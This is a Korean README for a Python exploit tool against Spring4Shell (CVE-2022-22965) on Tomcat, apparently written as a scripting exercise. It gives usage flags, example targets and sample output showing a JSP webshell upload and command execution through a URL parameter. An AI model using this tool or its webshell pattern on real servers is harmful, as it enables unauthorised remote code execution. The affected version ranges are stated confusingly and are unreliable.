
spring4shell | CVE-2022-22965
CVE-2022-22965의 파이썬 구현으로, SSH 세션 스타일의 프롬프트를 사용자에게 제공합니다.
이 스크립트는 사용자의 선택에 따라 가독성과 접근성(accessibility)을 모두 고려하여 이해하고 실행하기 쉽게 설계되었습니다. Tomcat 서버의 취약점을 악용하기 위해 설계되었습니다. 서버의 fileDateFormat 필드는 스크립트의 일부로 설정 및 해제되므로 익스플로잇을 여러 번 실행할 수 있습니다. 정리(cleanup)가 필요할 수 있습니다.
이 취약점은 5.2 이전 버전, 5.3.0-17 및 5.2.0-19 버전의 Java Spring Framework에서 발견되었으며, 9 이상의 Java Development Kit 버전이 실행되는 환경에 영향을 줍니다.
추가 정보:
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-22965
익스플로잇을 실행하려면 requests 모듈과 BeautifulSoup 모듈이 필요합니다. 다음 명령으로 설치할 수 있습니다:
pip3 install bs4
pip3 install requests
나머지 모든 모듈은 python3에 내장되어 있습니다.
스크립트 실행에는 취약한 서버의 URL만 필요합니다. 그러나 접근성 향상 등을 위한 다른 플래그도 있습니다.
--help의 출력:
usage: spring4shell_v3.py [-h] [-f FILENAME] [-p PASSWORD] [-d DIRECTORY] [-a] [-n] address
spring4shell_v3.py exploits an RCE vulnerability in
applications running spring core java framework.
positional arguments:
address ip/hostname, port, sub-directories to the vulnerable spring core framework on tomcat
optional arguments:
-h, --help show this help message and exit
-f FILENAME, --filename FILENAME
name of the file to create and upload
-p PASSWORD, --password PASSWORD
password to protect the uploaded shell
-d DIRECTORY, --directory DIRECTORY
The upload path for the file
-a, --accessible turns off features which may negatively affect screen readers
-n, --no-colour removes colour output
example:
spring4shell_v3.py http://10.10.10.10/
spring4shell_v3.py http://hostname:8080/ -p 'password123'
spring4shell_v3.py http://10.10.10.10/subdir/ -a -f 'jsp-shell'
예시 출력:
./spring4shell http://spring-vuln.local
/ / | / / /
___ ___ ___ ___ ___ (___| ___ (___ ___ ( (
|___ | )| )| | )| ) )|___ | )|___)| |
__/ |__/ | | | / |__/ / __/ | / |__ | |
| __/
CVE-2022-22965.
[i] attempting to change tomcat log variables.
[+] log variables set successfully.
[+] attempting to change tomcat log location variables.
[+] log successfully modified.
[i] waiting for tomcat changes.
[i] sending the webshell.
[i] resetting the log variables.
[i] shell location:
[i] http://spring-vuln.local/20df2b10c787d5ae.jsp?pwd=bd72c5e8&cmd=whoami
[i] or run commands here. type 'exit' to quit.
spring4shell:[email protected] $ whoami
service
spring4shell:[email protected] $
말할 필요도 없이 이 스크립트는 사용자에게 완전한 셸을 제공하지 않으며, 대상에서 완전한 리버스 셸, 권한 상승(privesc) 등을 달성하기 위한 플랫폼으로 설계되었습니다.
이 스크립트는 취약한 서버를 실행 중인 사용자/서비스를 수집하여 프로그램의 의사 명령 프롬프트의 일부로 사용하려고 시도하지만, 항상 신뢰할 수 있는 것은 아닙니다.
이 스크립트는 주로 단일 익스플로잇을 위한 파이썬 스크립팅 연습용으로 작성되었으며, 가독성과 접근성을 모두 염두에 두었습니다. 사용 편의성과 이해 가능성을 위해 설계되었습니다. 일반적인 예외를 처리하려고 시도합니다.
https://skerritt.blog/a11y/ - 접근성 구현.